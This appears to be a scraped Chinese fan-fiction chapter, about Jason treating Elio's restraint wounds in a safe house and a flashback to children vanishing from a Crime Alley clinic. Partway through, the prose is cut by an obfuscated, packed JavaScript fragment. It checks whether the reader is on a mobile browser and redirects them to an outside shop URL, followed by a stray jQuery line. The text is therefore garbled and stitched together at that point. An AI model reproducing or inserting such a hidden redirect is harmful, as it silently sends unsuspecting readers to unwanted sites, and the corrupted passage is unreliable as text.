杰森是在事后才意识到，那天晚上他其实说得太少了。
不是因为他不懂得如何解释，而是因为他在刻意压住某些东西。
一些一旦被说出口，就再也无法收回、无法控制的东西。
铁门合上的那一刻，外面的世界被彻底切断。
警笛声被砖墙和金属板吞没，只剩下一种低频的嗡鸣，像是尚未散尽的回声。杰森反手将门扣上，金属插销落位的声响在狭窄的储藏室里显得异常清晰。
安全屋。
他没有回头。
是他拉亮了灯。拉绳在掌心里略显粗糙，灯泡伴随着短促而尖细的嗡响亮起——不稳定，但足够照明。光线亮起的瞬间，他的视线已经本能地扫过四角：旧桌子、清洁桶、折叠椅、急救包。所有东西都在该在的位置。
没有被动过。
安全。
直到这时，他的肩膀才微不可察地松了一点。
他一把将身后的人拽进来。门关上，空间立刻被填满。太近了。近到他还能感觉到对方身上未散的寒意，以及那场挣扎之后尚未完全平复的呼吸节奏。
他没有说话。
不是因为不知道该说什么，而是因为他不允许自己开口。
他迅速转身，几乎是用身体把人推向那张折叠椅。
“坐下。”
声音低、短、硬。他需要对方坐稳，需要一个明确的状态——不再是被拖着走的人，而是一个可以被处理的对象。
对方坐下了。
仅此一件事，就让他胸腔里的某个结松动了些。
他转向急救包。拉链被扯开的声音在封闭空间里显得锋利，塑料摩擦的细响足以让他的注意力牢牢钉住。
只要专注在动作上，就没有余地去想别的。
头顶的灯发出微弱而不稳定的嗡鸣，仿佛随时可能熄灭。杰森站在艾利欧面前，微微俯身，手上已经戴好一副新的手套。动作迅速，却被严格控制着：撕开包装，展开纱布，按压伤口。流程一气呵成，没有停顿。
他不是第一次处理这样的伤。
也正因为不是第一次，他才清楚——自己不该如此专注。
艾利欧的手腕安静地躺在他掌下。
没有缩手，没有抗拒，甚至连呼吸都被刻意放轻，仿佛害怕打断他。
杰森的拇指在艾利欧腕骨内侧停顿了不到一秒。
太细了。
这个念头浮现出来，又立刻被他压了下去。
他厌恶这种判断，厌恶自己在这种时刻，注意力竟还能偏移到毫无用处的细节上。
他收紧了对那只手腕的控制，将人拉近了一点。
力道不轻。
并非刻意。
他需要角度，需要看清痕迹。束带留下的压痕十分明显——皮肤发红，边缘破损，但没有脱臼。
很好。真的很好。
消毒液触到皮肤的瞬间，艾利欧的手腕几乎不可察觉地一缩。
杰森立刻加压。
按住。
“别动。”
这句话几乎是条件反射地出口。直到说完，他才意识到自己语气里混进了别的东西。
他始终低着头，视线锁在那一圈伤痕上。酒精刺鼻的气味在空气里散开，锋利却清醒。棉球沿着伤口边缘移动，动作稳而精准，没有一丝犹豫。
他没有抬头。
因为他知道——
只要一抬头，艾利欧就会完整地进入他的视线。
太近了。
“从头说起。”
话几乎是抢着出口，像是在压过某个即将浮现的东西。
“你为什么会在生物楼？”
话一出口，他就知道太直接了。
但已经来不及收回。
他继续手上的工作。换棉球，施压，止血贴。每一步都像是早已刻进肌肉记忆里的流程。流程是安全的，流程不会出错。
对方开始说话。
声音就在他头顶不远处。
他告诉自己在听——但并不完全。有些信息被接收下来，有些只是掠过。他真正留意的是语气、停顿、呼吸的节奏。是否有闪躲，是否有刻意的遗漏。
没有。
这一点，慢慢地收紧了他体内的某根弦。
他完成包扎，将敷料固定好，拉紧，贴合。压力分寸刚好——既不松，也不勒。他托着那只手腕完成最后一步，清楚地察觉到那只手为了保持放松所付出的努力。
没有抗拒。
也不是虚假的顺从。
杰森是在艾利欧把最后一句话说完的时候，才意识到自己停住了。
不是整个人。
只是手。
纱布已经固定好，贴合得很稳。按流程，他这时候应该松手，把伤□□还给对方，结束这一段。但他的拇指仍然按在腕骨内侧，没有立刻撤开。
那一下停顿很短。
短到如果不是他自己，甚至不会被当成“停顿”。
艾利欧已经说完了。
没有补充，也没有回头修正。
事情被拆得很清楚——
哪一步出现了第二条行动线，哪一处痕迹不该存在，火为什么不属于毒藤女。
他没有用推测性的词。
他说的是已经被他放进判断里的结论。
“这一步不在原本的路径里。”
杰森的注意力原本还在伤口上。
在那一圈勒痕，在边缘是否有二次损伤，在确认没有脱臼。
可这句话落下之后，他的判断顺序被打乱了一下。
“还是和以前一样。”
他喉结动了一下。
原本只打算点头。
或者回一句“我知道了”
那样是对的。
那样不会多出任何东西。
可他开口的时候，说出来的却是：
“你以前也这样。”
声音很轻。
没有强调，也没有情绪。
更像是一句在判断过程中，被顺手丢出来的备注。
话落下的瞬间，杰森自己先意识到不对。
空气短暂地空了一下。
艾利欧抬起眼。
一种很清晰的困惑。
“……以前？”
他重复了一遍这个词，语速慢了一点。
“什么意思？”
杰森这才意识到，他已经把一个不该被分享的记忆暴露出来了。
而对方，
确实没有想起那段记忆。
很多年后，在Deli里，当那双眼睛抬起来，用同样的方式拆解一件事的时候，
他比自己想象得更早，认出了对方。
七年前
艾利欧11岁，杰森8岁
犯罪巷的冬天并不是从某一天开始的。
它只是一点一点冷下来。
冷到你发现鞋底踩在地面上时，会有极轻微的打滑；冷到金属扶手摸上去不再只是凉，而是刺；冷到巷子里的气味开始凝滞，不再被风带走。
那是一条很窄的巷子。
不是地图意义上的窄，而是一种长期被压缩后的感觉。
建筑贴得太近，楼层太高，光进不来。白天尚且昏暗，到了傍晚，阴影就像提前占领了每一个转角。
诊所在巷子中段。
原本是一栋仓库改建的楼。
门面不显眼，招牌是后来才挂上去的，字印得不深，颜色也淡，像是刻意不想引人注意。
一楼是接诊区。
两张旧沙发，一张掉了漆的桌子，几把折叠椅，墙上贴着几张已经卷边的宣传单——“免费基础医疗”“儿童心理支持”“紧急援助”。
没有玻璃隔断。
也没有真正意义上的前台。
医生就在那张桌子后面坐着，桌面永远放着纸杯、笔，还有翻到一半的病历。
二楼是病房和办公室。
房间不多，每一间都不大。窗户朝向不同的方向，有的对着巷子，有的对着防火梯。暖气是后来加装的，管道老旧，热得不均匀，有些房间永远偏冷。
三楼更杂。
药品、设备、旧床垫、没人认领的衣服、坏掉的轮椅，全堆在那里。走廊很窄，灯光也暗，脚步声在上面会被放大。
艾利欧住在二楼最里面那间。
那原本不是给人住的房间。
更像一间临时储藏室改出来的地方。
窗户很小，对着巷子另一侧的防火梯。光线不好，但安静。门锁不新，却还能用。他的床靠着墙，床头放着几本翻旧的书，还有一个记事本。
他十一岁。
不是病人。
也不完全是工作人员。
乔纳森允许他住在这里。
理由很简单——他能帮忙。
犯罪巷的孩子对医生天然不信任。
白大褂、听诊器、提问、记录，这一整套流程在他们眼里意味着“被带走”“被问话”“被决定”。
但艾利欧不一样。
他穿得和他们差不多，说话不多，也不急。他会坐在角落，把椅子拉到和对方同一高度，不逼他们抬头。
有时候，他甚至什么都不问。
只是坐着。
孩子会慢慢忘记他在旁边。
然后开始说话。
艾利欧学会了很多事。
学会什么时候该递水，什么时候该沉默；学会辨认那些被重复提起却被轻描淡写的细节；也学会把“异常”放在心里，而不是当场指出来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116929|195924||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>杰森第一次来诊所，是因为手肘擦伤。
那天很冷。
雪还没下，但空气已经带着那种下雪前才有的干燥。他的手肘撞在巷口的铁栏杆上，皮肤被划破，血渗出来，不算多，却一直流。
推他的人跑了。
杰森没有追。
不是追不上。
而是没必要。
他站了一会儿，确认自己还能动，然后顺着熟悉的路线走进诊所。
他以前来过。
不是因为受伤。
而是因为这里有暖气。
艾利欧是在储物柜旁边看见他的。
门被推开的瞬间，冷风灌进来，前台的医生还在低头写字，没有抬头。
艾利欧却立刻注意到了。
不是因为血。
而是因为那个孩子站在门口，没有立刻进来。
太安静了。
不像是疼得受不了才来的。
“这里。”
他说。
声音不高，却清楚。
杰森抬头看了他一眼，没有问他是谁，也没有犹豫，直接走过来坐下。
医生处理伤口的时候，杰森一声没吭。
包扎完，医生叮嘱了几句，转身去看下一个人。
艾利欧没有走。
他只是把用过的棉片收起来。
“会疼。”
他说。
杰森点头：“知道。”
这是他们的第一次对话。
短，普通，没有任何标记意义。
后来，他们会在很多个下午坐在同一张旧桌子旁。
艾利欧整理药品。
杰森帮忙拆绷带包装。
杰森的动作很慢，但不笨。他会仔细看示范，然后照着做，不会多问一句。
有时候，艾利欧陪孩子等医生。
有时候，杰森坐在门口，帮忙看人进出。
他们不总是说话。
更多时候，是各自做事。
但他们开始知道彼此的存在。
知道对方每天大概什么时候来。
知道对方坐在哪个位置会更舒服。
有些事情，会被反复提起。
比如，失踪。
那天诊所很安静。
雪下了，巷子里几乎没人。门开着，却很久没有人进来。
“他没回来。”
杰森突然说。
艾利欧停下动作。
“谁？”他问。
“马库斯。”
杰森说，“他住在垃圾场后面那栋楼。”
艾利欧点头。
他知道这个名字。
“多久了？”
“三天。”
杰森说，“他不会不回来。”
不是请求。
是判断。
艾利欧记下了这件事。
不是写在纸上。
而是放进脑子里。
接下来的几周，又有名字出现。
不是一起。
而是间隔着。
一个。
再一个。
孩子们不会说“失踪”。
他们说的是——没回来、不在原来的地方了、没人见过。
诊所里的医生开始变得忙碌。
不是慌乱。
而是一种刻意加快的节奏。
夜里偶尔会有灯亮到很晚。
药品的进出记录被挪动。
三楼的一些房间开始上锁。
艾利欧注意到了。
但他没有立刻说。
因为线索还不完整。
杰森依旧来诊所。
他比以前安静了一点。
“他们说是被带走了。”
有一天他说。
“谁说的？”艾利欧问。
“医生。”
杰森抬头，“说会安排地方。”
艾利欧没有立刻回应。
他只是把手里的药瓶放回柜子，动作比平时慢了一点。
“你相信吗？”他问。
杰森想了一下。
“我不知道。”
他说，“但他们没回来。”
那天晚上，艾利欧在房间里坐了很久。
窗外是防火梯，铁栏杆结着霜，反射出一点微弱的光。
他在脑子里重新排列所有时间点。
孩子消失的顺序。
医生的动向。
被锁上的房间。
线条还没完全连起来。
但有一个地方，开始变得刺眼。
他没有说出来。
不仅因为没有证据。
也因为他不想让杰森背负这种怀疑。
后来，事情被打断了。